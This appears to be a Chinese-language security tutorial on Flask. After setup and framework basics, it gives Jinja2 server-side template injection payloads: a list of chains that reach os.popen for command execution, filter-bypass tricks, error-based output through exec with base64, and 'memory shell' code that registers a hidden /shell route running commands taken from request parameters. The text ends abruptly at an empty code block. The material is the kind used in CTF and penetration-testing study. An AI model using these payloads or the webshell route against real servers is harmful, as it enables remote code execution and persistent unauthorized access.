Python 常见框架安全

sky123

Flask

Flask 是一个 轻量级的 Python Web 框架,以“微内核 + 扩展”的理念著称。它本身只提供 路由、请求/响应、模板渲染 等最核心功能,其他如数据库、认证、表单校验、迁移、缓存等都通过 扩展(extensions) 来按需拼装。

核心组件:

  • Werkzeug:WSGI 工具集(请求与响应、路由、调试器)。
  • Jinja2:模板引擎(HTML 渲染)。
  • Flask Core:应用对象、上下文、蓝图、配置、信号等。

环境搭建

由于我们在研究 Flask 框架安全的时候需要多次切换版本,因此这里我们通过 Python 虚拟环境(.venv)管理 Flask 版本。

.venv 是 Python 虚拟环境目录,内含独立的 Python 解释器和依赖包管理空间。

作用:

  • 隔离项目依赖:不同项目可以使用不同的 Flask 版本。
  • 避免全局污染:不会影响系统全局的 Python 包。
  • 便于版本切换:同一个项目内可随时升级或降级 Flask。

创建与激活 .venv

创建 .venv

1
2
3
sudo apt install python3.10-venv
python -m pip install virtualenv
python -m venv .venv

激活后命令行前面会出现 (.venv) 标记,表示当前操作仅作用于虚拟环境。

1
2
3
4
5
# macOS / Linux
source .venv/bin/activate

# Windows
.venv\Scripts\activate

安装 Flask

查看可安装的 Flask 版本:

1
pip index versions flask

常用安装命令:

1
2
3
4
5
6
7
8
# 安装最新版
pip install flask

# 安装指定版本(如 2.0.3)
pip install flask==2.0.3

# 安装小于某个版本
pip install "flask<2.1"

切换 Flask 版本

1
2
3
4
5
# 升级到指定版本
pip install --upgrade flask==2.3.3

# 降级到老版本
pip install flask==1.1.4

注意

上述命令在安装 flask==1.1.4 后运行 Flask 项目会报错。

这是因为 pip 只看包声明的“版本约束”,不会帮你判断“真实运行时兼容性”。而 Flask 1.1.4 → Jinja2 2.11.3 → MarkupSafe 的这条链,声明的约束过于宽松,导致 pip 选了“看起来满足要求、但实际上会崩”的组合。

具体来说就是:

  • Flask 1.1.4 依赖:Jinja2<3.0,>=2.10.1
  • Jinja2 2.11.3 依赖:MarkupSafe>=0.23没有上限!
  • MarkupSafe 在 **2.1 起移除了 soft_unicode**。
  • Jinja2 2.11.3 仍会 from markupsafe import soft_unicode → 在 MarkupSafe ≥2.1 直接 ImportError

也就是说:声明允许 MarkupSafe==3.0.2,但实际不兼容。pip 的新解析器能解“声明的冲突”,解不了“运行时 API 变化”的冲突。

解决方法是手动固定老版本依赖:

1
2
3
4
5
6
7
8
9
python -m pip install --upgrade --force-reinstall \
"flask==1.1.4" \
"jinja2==2.11.3" \
"markupsafe==2.0.1" \
"werkzeug==1.0.1" \
"click==7.1.2" \
"itsdangerous==1.1.0"

python -m pip check # 验证是否还有冲突

固定依赖

生成依赖文件:

1
pip freeze > requirements.txt

恢复依赖环境:

1
pip install -r requirements.txt

基础知识

应用对象(Application Object)

应用对象是整个 Flask 项目的入口与核心,负责管理路由、配置、扩展注册等。

1
2
from flask import Flask
app = Flask(__name__) # __name__ 用于定位静态文件和模板的路径

绝大多数情况下一个网站就是一个 Flask 应用实例。所有路由、配置、插件都挂在这个实例上。启动时 app.run() 就把这个网站跑起来。

视图函数(View Function)

视图函数(View Function) 就是 Flask 中用来处理某个 URL 请求的 Python 函数

  • 当浏览器(或客户端)访问一个 URL 时,Flask 会根据路由规则找到对应的视图函数,并执行它。
  • 视图函数的返回值会作为 HTTP 响应 发回给用户(字符串、HTML、JSON 等都行)。
1
2
3
4
5
6
from flask import Flask
app = Flask(__name__)

@app.route("/hello") # 路由:访问 /hello 时执行 hello()
def hello(): # 这个函数就是一个视图函数
return "Hello, Flask!" # 返回的内容就是 HTTP 响应

路由(Routing)

路由是 URL 与处理函数(视图函数)之间的映射规则。当用户访问某个 URL 时,Flask 会根据路由规则找到对应的函数并执行,将返回值作为 HTTP 响应发送给客户端。

其中注册路由要用到 route 装饰器。其中 @app.route 要跟前面的 app 要跟app = Flask(__name__) 时的 app 变量名一直,这是因为 app 会作为 self 传入 route 函数。

1
2
3
@app.route('/')  # 当访问 /hello 时执行 hello()
def index():
return "Hello, Flask!"

这里 @app.route 是一个装饰器。装饰器(@xxx)只是 在定义函数的时候,先把这个函数交给另一个函数处理。因此上面这个函数等价于:

1
2
3
4
def index():
return "Hello, Flask!"

index = app.route("/")(index) # 注意是两层调用

所以 @app.route("/") 只是把你的 index 函数包了一下,并在包的过程中做了“注册路由”的事。

装饰器函数 route 定义如下,可以看到这个函数返回了一个 decorator 函数来注册 index 函数的路由,而 decorator 函数最终是调用 add_url_rule 函数来添加路由的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
@setupmethod
def route(self, rule: str, **options: t.Any) -> t.Callable[[T_route], T_route]:
"""
装饰一个视图函数(view function),
根据指定的 URL 规则和参数将其注册到应用中。
本方法会调用 :meth:`add_url_rule`,该方法中有更多实现细节。

.. code-block:: python

@app.route("/")
def index():
return "Hello, World!"

参见 :ref:`url-route-registrations`。

如果没有传入 ``endpoint`` 参数,则路由的端点名称
默认为视图函数的函数名。

``methods`` 参数默认值为 ``["GET"]``,
而 ``HEAD`` 和 ``OPTIONS`` 方法会自动添加。

:param rule: URL 规则字符串。
:param options: 传递给 :class:`~werkzeug.routing.Rule` 对象的额外选项。
"""

def decorator(f: T_route) -> T_route:
endpoint = options.pop("endpoint", None)
# 📌 调用 add_url_rule 添加路由
# 这里 self 就是 Flask 实例化的对象 app
self.add_url_rule(rule, endpoint, f, **options)
return f

return decorator

并且可以看到 decorator 添加完路由后会返回传入的函数,也就是说代码中的 index = app.route("/")(index) 并没有改变 index 函数本身。

而之后用户访问网页的 / 路径时,Flask 会直接调用注册的 index 函数,因此和这里注册路由的逻辑已经没有关系链。

默认路由只响应 GET 请求,如果想让它响应其他方法,可以这样:

1
2
3
@app.route('/submit', methods=['POST'])
def submit():
return "表单已提交"

Flask 2.0+ 加入了更简洁的 HTTP 方法快捷装饰器。比如 @app.get()@app.post()@app.put()@app.delete() 等,作用和 @app.route(..., methods=["XXX"]) 等价。

1
2
3
4
5
6
7
@app.get("/info")       # 等价于 @app.route("/info", methods=["GET"])
def get_info():
return "GET 请求"

@app.post("/upload") # 等价于 @app.route("/upload", methods=["POST"])
def upload():
return "POST 请求"

Flask 还支持在路由中使用占位符,让路径的一部分变成变量。这种特性称为动态路由参数

1
2
3
4
5
6
7
@app.route("/user/<name>")
def user(name):
return f"你好,{name}!"

@app.route("/post/<int:post_id>")
def post(post_id):
return f"文章 ID: {post_id}"

请求对象(Request)

请求对象(request 就是 Flask 用来表示 客户端发过来的 HTTP 请求 的一个工具,它帮你读取用户发来的各种数据,比如:

  • URL 查询参数(?q=xxx)
  • 表单提交的数据(POST 表单)
  • JSON 数据(POST JSON)
  • 请求头信息(浏览器/客户端发的 Header)
  • Cookie

在 Flask 里,request 是从 flask 包中导入的一个全局对象:

1
from flask import request

它的常用属性和方法:

  • request.argsGET 查询参数(字典形式)
  • request.formPOST 表单字段
  • request.jsonPOST JSON 数据
  • request.headers请求头
  • request.method → 请求方式(GET/POST/PUT/DELETE)
  • request.cookies → 请求附带的 Cookie

响应(Response)

响应 是 Flask 返回给客户端的 HTTP 数据,一般是你在视图函数里 return 出去的东西,比如:

  • 返回一个 字符串 → 浏览器直接显示
  • 返回 HTML 模板 → 显示网页
  • 返回 JSON → 用于 API
  • 返回 状态码(200, 404, 500 等)

模板(Template)

模板用于将动态数据与 HTML 结构结合。Flask 默认使用 Jinja2 模板引擎。

例如下面这段代码:

1
2
3
4
5
from flask import render_template

@app.route('/user/<name>')
def user(name):
return render_template("index.html", name=name)
  1. 视图函数调用 render_template(),指定模板文件名 index.html 并传入数据变量 name

  2. Flask 会去 templates/ 目录 找对应的 HTML 模板文件 index.html(默认路径,可修改)。

    1
    2
    3
    4
    5
    6
    <!DOCTYPE html>
    <html>
    <body>
    <h1>Hello, {{ name }}!</h1>
    </body>
    </html>
  3. Jinja2 会把模板文件中的占位符({{ 变量 }})替换成传入的实际数据。

  4. 渲染好的 HTML 返回给浏览器显示。

XSS

使用危险模板渲染函数

SSTI

SSTI(Server-Side Template Injection)指的是当 用户可控的字符串 被当成 模板 交给模板引擎(这里是 Jinja2)解析时,攻击者可以在模板语法里写表达式,让后端执行它,从“回显注入”逐步升级到“读上下文对象 → 调用函数 → 代码执行”。

Flask 模板支持

Flask 默认使用 Jinja2 模板引擎(作者也是 Flask 作者 Armin Ronacher),并提供了 render_template_stringrender_template 两个模板渲染的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
def render_template_string(source: str, **context: t.Any) -> str:
"""
渲染模板源字符串(直接传入模板内容)并返回渲染后的字符串。

⚠️ 高危:如果 `source` 含有用户可控内容,会触发 SSTI(服务器端模板注入)风险。
一般仅在模板内容是受信任的情况下使用。

功能:
- 将传入的 Jinja2 模板字符串 `source` 编译并渲染。
- 自动进行 HTML 转义(autoescape),防止 HTML 注入。
- 在渲染时注入 `**context` 中的变量作为模板上下文。

参数:
source (str):
- 模板源代码(Jinja2 语法字符串)。
- 例如:`"Hello {{ name }}"`

**context (Any):
- 模板变量上下文,键值对形式传入。
- 例如:`name="Alice", age=20`

返回值:
str:
- 渲染后的字符串。
- 所有模板语法已被解析、变量替换完成。

示例:
>>> render_template_string("Hello {{ name }}", name="Alice")
'Hello Alice'

注意:
- 不从磁盘读取模板文件,只渲染内存中的模板字符串。
- 用于动态生成模板时要确保 `source` 内容可信。
"""

def render_template(
template_name_or_list: t.Union[str, Template, t.List[t.Union[str, Template]]],
**context: t.Any
) -> str:
"""
渲染模板目录中的模板文件,并返回渲染后的字符串。

功能:
- 从 Flask 配置的模板目录(默认 `templates/`)中加载模板文件。
- 如果传入的是模板名称列表,会按顺序查找第一个存在的模板并渲染。
- 在渲染时注入 `**context` 中的变量作为模板上下文。
- 自动进行 HTML 转义(autoescape)。

参数:
template_name_or_list (str | Template | list):
- 模板文件名(字符串),如 `"index.html"`。
- 也可传入 `Template` 对象(已加载好的模板)。
- 或传入模板文件名列表,Flask 会按顺序选择第一个可用的文件。
例如:`["mobile/index.html", "index.html"]`

**context (Any):
- 模板变量上下文,键值对形式传入。
- 例如:`user="Alice", items=[1, 2, 3]`

返回值:
str:
- 渲染后的字符串(HTML 等)。

示例:
>>> render_template("index.html", title="Hello", name="Alice")
'<html>...Hello Alice...</html>'

注意:
- 模板路径是相对 Flask 应用的模板搜索路径的。
- 如果模板不存在,会抛出 `TemplateNotFound` 异常。
- 比 `render_template_string` 更常用,因为模板文件更易于管理和复用。
"""

Jianja2 基础语法有:

  • 表达式输出{{ expr }}(把值插到 HTML 中)
  • 控制语句{% for ... %} ... {% endfor %}{% if ... %} ... {% endif %}
  • 过滤器{{ name|upper }}{{ items|join(',') }}
  • 属性/下标访问obj.attrobj['attr'] 都可能生效(Jinja2 有自己的查找顺序)
  • 函数调用{{ func(1,2) }}(若 func 在模板上下文里)

漏洞成因

Jinja2 SSTI(Server-Side Template Injection)的根源在于 将用户可控数据直接当作模板内容或模板名去渲染,从而让攻击者执行任意 Jinja2 表达式。常见的错误用法包括:

  • 直接渲染用户输入

    1
    2
    render_template_string(user_input)
    render_template_string("Hello " + user_input)
  • 模板名可控且目录可穿越(配合文件上传)

    1
    render_template(user_input)   # 若 tpl_name 可控且可 `../` 穿越到任意文件

漏洞利用

漏洞探测

  • {{7 * 7}}49:存在模板注入
  • {{'7' * 7}}7777777:模板类型为 jinjia2

探测可用对象

Jinja2 在渲染时会创建一个 TemplateReference 对象赋值给 self。它持有模板上下文字典 __context(通过 name mangling 存储为 _TemplateReference__context)。

Python 的 name mangling(名称改写)机制的具体操作为:

  • TemplateReference 类里原本写的是 self.__context(前面两个下划线)。
  • 在 Python 中,如果属性是 __xxx(双下划线开头),它会在编译时自动变成 _类名__xxx,避免子类覆盖冲突。
  • 所以 TemplateReference.__context 变成了 _TemplateReference__context

也就是说,self.__context 你在模板里是访问不到的,但知道它的 mangled 名字 _TemplateReference__context 就能直接取到。

因此我们可以通过下面这段内容来探测模板运行的上下文中的可达对象:

1
{{self._TemplateReference__context}}

结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<Context {
'range': <class 'range'>,
'dict': <class 'dict'>,
'lipsum': <function generate_lorem_ipsum at 0x000002D32189B420>,
'cycler': <class 'jinja2.utils.Cycler'>,
'joiner': <class 'jinja2.utils.Joiner'>,
'namespace': <class 'jinja2.utils.Namespace'>,
'url_for': <function url_for at 0x000002D321ACF060>,
'get_flashed_messages': <function get_flashed_messages at 0x000002D321ACF240>,
'config': <Config {
'ENV': 'production',
'DEBUG': False,
'TESTING': False,
'PROPAGATE_EXCEPTIONS': None,
'PRESERVE_CONTEXT_ON_EXCEPTION': None,
'SECRET_KEY': None,
'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31),
'USE_X_SENDFILE': False,
'SERVER_NAME': None,
'APPLICATION_ROOT': '/',
'SESSION_COOKIE_NAME': 'session',
'SESSION_COOKIE_DOMAIN': None,
'SESSION_COOKIE_PATH': None,
'SESSION_COOKIE_HTTPONLY': True,
'SESSION_COOKIE_SECURE': False,
'SESSION_COOKIE_SAMESITE': None,
'SESSION_REFRESH_EACH_REQUEST': True,
'MAX_CONTENT_LENGTH': None,
'SEND_FILE_MAX_AGE_DEFAULT': None,
'TRAP_BAD_REQUEST_ERRORS': None,
'TRAP_HTTP_EXCEPTIONS': False,
'EXPLAIN_TEMPLATE_LOADING': False,
'PREFERRED_URL_SCHEME': 'http',
'JSON_AS_ASCII': True,
'JSON_SORT_KEYS': True,
'JSONIFY_PRETTYPRINT_REGULAR': False,
'JSONIFY_MIMETYPE': 'application/json',
'TEMPLATES_AUTO_RELOAD': None,
'MAX_COOKIE_SIZE': 4093
}>,
'request': <Request 'http://127.0.0.1:5000/?name=%7B%7Bself._TemplateReference__context%7D%7D' [GET]>,
'session': <NullSession {}>,
'g': <flask.g of 'app'>
} of None>

注意

我们在模板中调用 globals() 函数获取到的全局命名空间,并不包含 Flask 在模板中可直接访问的那些对象。

例如:

1
{{g.pop.__globals__['__builtins__'].globals().keys()}}

运行结果如下:

1
dict_keys(['__name__', '__doc__', '__package__', '__loader__', '__spec__', '__file__', '__cached__', '__builtins__', 'functools', 'sys', 't', 'abc', 'chain', 'escape', 'Markup', 'soft_str', 'auto_aiter', 'auto_await', 'TemplateNotFound', 'TemplateRuntimeError', 'UndefinedError', 'EvalContext', '_PassArg', 'concat', 'internalcode', 'missing', 'Namespace', 'object_type_repr', 'pass_eval_context', 'V', 'F', 'exported', 'async_exported', 'identity', 'markup_join', 'str_join', 'unicode_join', 'new_context', 'TemplateReference', '_dict_method_all', 'Context', 'BlockReference', 'LoopContext', 'AsyncLoopContext', 'Macro', 'Undefined', 'make_logging_undefined', 'ChainableUndefined', 'DebugUndefined', 'StrictUndefined'])

这里的键几乎全是 jinja2.runtime 模块的运行时符号,而没有 url_forrequestconfig 等 Flask 注入的变量。这是因为 Jinja2 模板的运行机制是:

  • 模板不是直接交给 Python 解释器执行的文本,而是先被编译成 Python 函数(位于一个专门的“模板模块”里)。
  • 该函数的定义全局作用域来自 jinja2.runtime 的符号导入,所以 globals() 返回的就是这个模板模块的全局命名空间。
  • Flask 提供的 url_forrequestconfig 等变量并不在 Python 的 globals 或 locals 中,而是由 Flask 的 context processor 在渲染时放入 jinja2.runtime.Context 对象(即模板的“上下文字典”)中。
  • 模板里的变量解析是先查 Context,而不是直接查 Python 的 locals() / globals()

因此:

  • globals() 在模板里返回的是 jinja2.runtime 的全局命名空间(编译后的模板函数所处的定义环境),包含 Flask 注入到模板的那些变量。

  • 模板里能直接用的 url_for / request / config 等,并不在 Python 的 locals() 字典里;它们存放在 Jinja 的 Context 对象维护的“上下文字典” 中,模板变量解析走的是 Context 的查找逻辑,而不是 Python locals()

  • 因为 eval()/exec() 这些函数只能访问 Python 的 globals/locals看不到 Jinja Context;要想在里面用 url_for 等,需要显式传入:

    1
    {{ __builtins__['eval']("url_for('index')", {'url_for': url_for}) }}

漏洞利用

Jinja2 模板里执行的“Python”并不是完整的 Python 解释器,而是一个受限的、模板引擎定制化的执行环境。

模板渲染时,Jinja2 会创建一个 上下文对象(Context),里面只有你显式传入的变量,以及 Jinja2 / Flask 自动注入的全局函数(比如 url_forrangedict)。

并且在模板里默认不能直接写 Python 语句(比如 import osfor 循环赋值等),而是用 模板语法

1
2
3
4
5
6
7
8
9
10
{{ expression }}      # 输出表达式结果
# 例如:
{{ x = 1 }} # ❌ 不行,不能赋值
{{ 1 + 2 }} # ✅ 表达式

{% statement %} # 控制结构(for、if 等)
# 例如:
{% for i in range(3) %}
{{ i }}
{% endfor %}

这是因为模板中的表达式会被 Jinja2 解析成一个抽象语法树(AST),然后用它自己的求值器执行,而不是直接 eval() 原生 Python 代码。

但由于 Jinja2 支持 属性访问和函数调用,我们可以沿着对象链找到 Python 内部对象(如 ().__class__.__mro__),利用 Python 的自省特性绕过沙箱执行任意代码。同时,Jinja2 默认提供了一些可直接访问的内部对象和函数,这让我们能够相对容易地构造出可利用的调用链。

1
2
3
4
5
6
7
8
9
10
11
{{g.pop.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{url_for.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{application.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{{get_flashed_messages.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{self.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{cycler.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{joiner.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{namespace.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{url_for.__globals__.current_app.add_url_rule('/1333337',view_func=url_for.__globals__.__builtins__['__import__']('os').popen('ls').read)}}

此外,借助 Jinja2 模板本身对 控制结构(如 for 循环、if 条件)的支持,我们还能直接在模板中实现传统的自省搜索逻辑,自动遍历并寻找可用的类,然后利用它们执行命令。例如:

1
{%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__ %}{{x()._module.__builtins__['__import__']('os').popen('ls').read()}}{%endif%}{%endfor%}

这样,即使我们事先不知道确切的类名,也能动态搜索目标类并完成利用。

过滤绕过

通用绕过方法

通常我们在 Jinja2 中访问一个对象的属性的时候是通过 obj.attr 的方式来访问的,如果此时有对 attr 或者 . 的过滤,则我们很难进行绕过。

然而 Jinja2 模板语法 里,obj['attr'] 并不等价于 Python 的下标操作符 __getitem__,而是走它自己的 Attribute/Item Lookup 规则:

  1. 优先当作属性名访问 → 等价于 getattr(obj, 'attr')
  2. 如果属性不存在,再当作 字典 key 查找 → 等价于 obj['attr']
  3. 如果还没有,才会去真正调用 Python 对象的 __getitem__

因此我们可以用 obj['attr'] 代替 obj.attr 来绕过对 . 的过滤,例如

1
{{''.__class__}} → {{''['__class__']}}

并且此时 attr 是字符串的形式,因此我们也可以通过编码的形式来进一步绕过对属性名的过滤:

  • 字符串拼接 :如 '__class__''__cla' + 'ss__'

  • 字符串编码 :当通过 []attr() 访问属性时,属性名是作为字符串传递的。Jinja2 会先解析并还原这些字符串中的转义序列(如 \x..\u....),再去执行属性访问;但是对于 Python 本身来说由于接受到的是整个请求参数,因此无法识别出内部字符串的编码。

    • 十六进制转义:如 '__class__''\x5f\x5fclass\x5f\x5f'
    • unicode 转义:如 '__class__''\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f'
  • 过滤器绕过 :使用一些字符串处理的过滤器来转换属性名绕过。

    • reverse 过滤器:字符串反转,如 '__class__''__ssalc__'|reverse
    • join 过滤器:如 '__class__'dict(__cl=1, ass__=2)|join
  • 请求参数绕过 :由于 jinjia2 模板语句可以直接访问到 request 对象,因此我们可以直接从 request 对象中拿请求参数(如 getformheaders 等)。

    1
    {{url_for.__globals__[request.args.a]}}&a=__builtins__ 

    提示

    通过请求参数顺便还绕过了对单、双引号的过滤。

在 Jinja2 里,attr(name) 是一个 内置过滤器,用来动态获取对象的属性。由于传递是属性参数是字符串形式,因此同样可以采用上述过滤思路。

1
{{''.__class__}} → {{''|attr('__class__')}}

这里 {{''|attr('__class__')}} 等价于:

1
getattr('', '__class__')

特殊场景绕过

绕过特定字符

string 过滤器可以将内容转换为字符串,然后 list 可以将字符串转换为列表,pop 可以取出列表中特定的一项。结合起来就可以得到被过滤的字符。

例如绕过对下划线(_)的过滤:

1
{% set a = (()|select|string|list).pop(24) %}{% print(a) %}

具体过程为:

  1. 空元组 () 作为 select 的输入可迭代对象。
  2. |select 是 Jinja2 的 select 过滤器(从 3.x 起实现为生成器)。对空元组使用它,会得到一个 generator(没有元素,但对象本身存在)。
  3. |string 把这个生成器对象转成字符串表示(repr),形如:"<generator object select_or_reject at 0x7f...>"
  4. |list 把这段字符串拆成字符列表,相当于: ['<','g','e','n','e','r','a','t','o','r',' ','o','b','j','e','c','t',' ','s','e','l','e','c','t','_','o','r','_','r','e','j','e','c','t',' ', ...]
  5. .pop(24) 从这个字符列表里 弹出第 24 个索引位置的字符。索引 24 恰好落在 select_or_reject 中的那个下划线 _,于是拿到了 _
  6. set a = ... / print(a) 把这个字符保存为变量 a,然后打印出来

也就是说,这个招是利用函数对象的字符串表示里恰好有下划线,从而“抠”出 _。后续只需要在字符串访问属性的方式的基础上

绕过 [](方括号)

有些防御会禁止在模板中直接写中括号 [],比如下面这段 payload 被过滤掉就不能访问了。

1
{{ ().__class__.__bases__[0] }}

但在 Python 里,obj[index] 的语法糖其实就是在调用 obj.__getitem__(index) 方法。所以,如果不能用 [],我们可以直接调用这个方法来达到同样的效果:

1
{{ ().__class__.__bases__.__getitem__(0) }}
绕过双花括号

如果双花括号(表达式输出)被拦截,就把“计算/执行”放到 {% ... %}(控制语句块)里完成

控制语句块不能像双花括号一样将语句执行结果回显到页面上,但是 支持 print,因此我们可以将命令执行语句放到 {% print(...) %} 中。

1
{% print(g.pop.__globals__.__builtins__['__import__']('os').popen('whoami').read()) %}
绕过数字

当数字被过滤时,可以使用过滤器 length(或者 count)计算字符串的长度。

1
2
{% set a='aaa'|length %} {{ a }}
{% set a='aaa'|count %} {{ a }}

不出网回显

这里主要研究如何在能 eval 执行任意代码的基础上实现回显

debug 模式下利用报错

在 Flask 中,如果 debug=True 且异常未被捕获,Werkzeug 的调试页面会显示完整的异常信息(堆栈 + 异常消息)。
利用这一特性,我们可以通过 抛出异常,将命令执行结果作为异常消息回显到浏览器。

1
raise Exception(__import__('os').popen('whoami').read())

由于 eval() 只能执行 表达式,不能直接执行 raiseimport 等语句,因此我们需要用 eval 调用 exec,而 exec 可以执行任意 Python 语句。

1
eval('exec("raise Exception(123)")')

为避免引号、换行等字符在传输中被截断,可将实际执行的代码 Base64 编码,再用 exec 解码执行:

1
2
3
4
from base64 import b64encode
cmd = "raise Exception(__import__('os').popen('whoami').read())"
encoded = b64encode(cmd.encode()).decode()
payload_code = f'exec(__import__("base64").b64decode(b"{encoded}"))'

利用 HTTP 响应字段

内存马

旧版本(≤ 2.1.3)

提示

由于 pip 依赖错误,我们需要手动指定相关依赖的版本:

1
2
3
4
5
6
7
8
9
python -m pip install --upgrade --force-reinstall \
"Flask==2.1.3" \
"Werkzeug==2.0.3" \
"Jinja2==3.0.3" \
"MarkupSafe==2.0.1" \
"click==8.0.4" \
"itsdangerous==2.0.1"

python -m pip check
1
pip install  --upgrade --force-reinstall Flask==2.1.3 Werkzeug==2.0.3 Jinja2==3.0.3 MarkupSafe==2.0.1 click==8.0.4 itsdangerous==2.0.1

在 Flask 中,路由实际上是由 app.add_url_rule() 函数添加的,该函数定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
@setupmethod
def add_url_rule(
self,
rule: str,
endpoint: t.Optional[str] = None,
view_func: t.Optional[ft.ViewCallable] = None,
provide_automatic_options: t.Optional[bool] = None,
**options: t.Any,
) -> None:
"""
注册一个新的 URL 规则到 Flask 应用的 URL 映射表中。

这个方法是 Flask 路由系统的核心底层 API,大多数情况下你会通过
@app.route() 装饰器间接调用它,但也可以直接调用来动态添加路由。

参数:
rule (str):
URL 路径规则,例如 "/user/<int:id>"。
支持动态变量(<converter:name> 格式)和静态路径。

endpoint (str, 可选):
视图函数的唯一标识符(名字)。
如果不指定,Flask 会自动使用 `view_func.__name__` 作为 endpoint。
endpoint 用于反向生成 URL(url_for)。

view_func (callable, 可选):
处理该 URL 请求的视图函数。
必须是一个可调用对象,接受请求上下文并返回响应。
如果为 None,表示只添加规则,不绑定处理函数(通常用于蓝图等情况)。

provide_automatic_options (bool, 可选):
是否自动为该路由添加 HTTP OPTIONS 方法支持。
如果为 None,Flask 会根据 `view_func` 是否定义 `OPTIONS` 来决定。

**options:
其他传给 `werkzeug.routing.Rule` 的参数,例如:
- methods: 指定允许的 HTTP 方法列表(["GET", "POST", ...])
- defaults: 默认参数字典
- subdomain: 子域名匹配

注意:
- @setupmethod 装饰器会在第一次处理请求后阻止再次调用此方法,
这是为了避免运行时动态修改路由造成不一致(Flask>=2.2)。
- 注册时会将生成的 Rule 对象添加到 `self.url_map`(URL 映射表),
并将 endpoint 与 view_func 的映射关系存入 `self.view_functions`。
"""

因此我们可以借助远程代码执行漏洞,在运行时调用这个函数给 Flask 动态添加新的 URL 处理函数来注册内存马。

1
2
3
4
5
app.add_url_rule(
'/shell', # 路由 URL → 当访问 /shell 时触发该视图函数
'shell', # 端点名称(endpoint)→ Flask 内部用来标识这个视图函数
lambda: __import__('os').popen(request.args.get('cmd', 'whoami')).read() # 视图函数(这里是一个匿名函数 lambda)
)

然而上述代码在 SSTI 场景下无法运行。这是因为在 SSTI 中不支持 lambda 表达式,因此我们无法直接在 SSTI 中注册路由的回调函数。解决方法是通过 eval 执行具体的 add_url_rule 注册路由代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
url_for.__globals__['__builtins__']['eval'](
"""
app.add_url_rule(
'/shell',
'shell',
lambda: __import__('os').popen(
request.args.get('cmd', 'whoami')
).read()
)
""",
{
'request': url_for.__globals__['request'],
'app': url_for.__globals__['current_app']
}
)

在执行 eval 的时候,我们需要在 eval 的命名空间手动添加 Jinjia 的模板变量:

提示

在 Jinja2 模板中,通过 eval/exec 注册 Flask 路由时,传入的 globals 字典会被绑定为回调函数的全局命名空间func.__globals__),并在函数生命周期内一直使用,而不是“只在调用 add_url_rule 时用一次”。

在 Python 中,如果 globals 字典中没有__builtins__,解释器会在执行 eval/exec自动插入一个指向内置模块 builtins 的引用。因此,即使你没有显式传入 builtins,回调函数的全局命名空间里也会包含 __builtins__,从而可以直接使用 __import__lenevalexec 等内建名,而不必像在模板中那样通过某个模板变量间接获取。

例如,下面的“内存马”验证了注册的回调中 globals() 里确实含有 __builtins__

1
{{ url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell','shell',lambda:str(globals()))", {'request':url_for.__globals__['request'],'app': url_for.__globals__['current_app']}) }}

访问 /shell 会返回当前回调函数的全局命名空间,其中可以看到:

  • 你在注册时显式传入的变量(requestapp
  • Python 自动注入的 __builtins__
  • appcurrent_app 是 Flask 的一个“线程上下文变量”,这个变量始终指向当前正在处理请求的那个 Flask 应用实例。因此我们可以通过下面这段代码找到我们代码中实例化的 Flask 对象 app

    1
    url_for.__globals__['current_app']

    注意

    Flask 2.2 之后对 url_for 的路径做过重构,不再依赖 flask.app 模块中引入的 current_app 符号;因此我们需要采用下面这种方法来获取 Flask 对象。

    1
    {{g.pop.__globals__.__builtins__['__import__']('flask').current_app}}

    或者直接从 __main__ 命名空间中按照 Flask 对象的变量名获取。

    1
    {{g.pop.__globals__.sys.modules['__main__'].app}}
  • request:当前请求对象,同样可以通过 url_for.__globals__ 找到。

    1
    url_for.__globals__['request']

    注意

    在 Jinja 模板里用的 request,很多时候已经被解引用成当前请求对应的 Request 实例(即 LocalProxy._get_current_object() 的结果)。

    因此如果你在注册路由时如果把这个具体对象作为 globals 传入 eval

    1
    {'request': request}

    那么回调函数的 __globals__['request'] 永远指向那一个旧的 Request 对象(注册时的请求)。之后访问 /shell 时,这个对象不会随着新请求变化,因为 request.args.get() 总是读取旧的参数。

    url_for.__globals__['request'] 这个是 Flask 源码里的 flask.request,它是一个 LocalProxy 对象

    1
    {'request': url_for.__globals__['request']}

    LocalProxy 就是一个懒加载的动态代理对象,它本身不存真正的数据,而是保存一个获取真实对象的函数。每次你访问它(属性、方法、取值等),它都会调用这个函数,拿到当前真正的对象,然后把操作转发过去。

    所以即使它在 globals 里是同一个 LocalProxy 实例,每次调用都会解析成“当前请求”,拿到的参数是最新的。

    我们可以通过下面两个内存马进行验证:

    1
    2
    3
    {{ url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell','shell',lambda:' '.join([hex(id(request.args.get)),str(request.args.get)]))", {'request':request,'app': url_for.__globals__['current_app']}) }}

    {{ url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell','shell',lambda:' '.join([hex(id(request.args.get)),str(request.args.get)]))", {'request':url_for.__globals__['request'],'app': url_for.__globals__['current_app']}) }}

根据前面的分析,最终得到如下内存马(在非调试模式下才能成功):

1
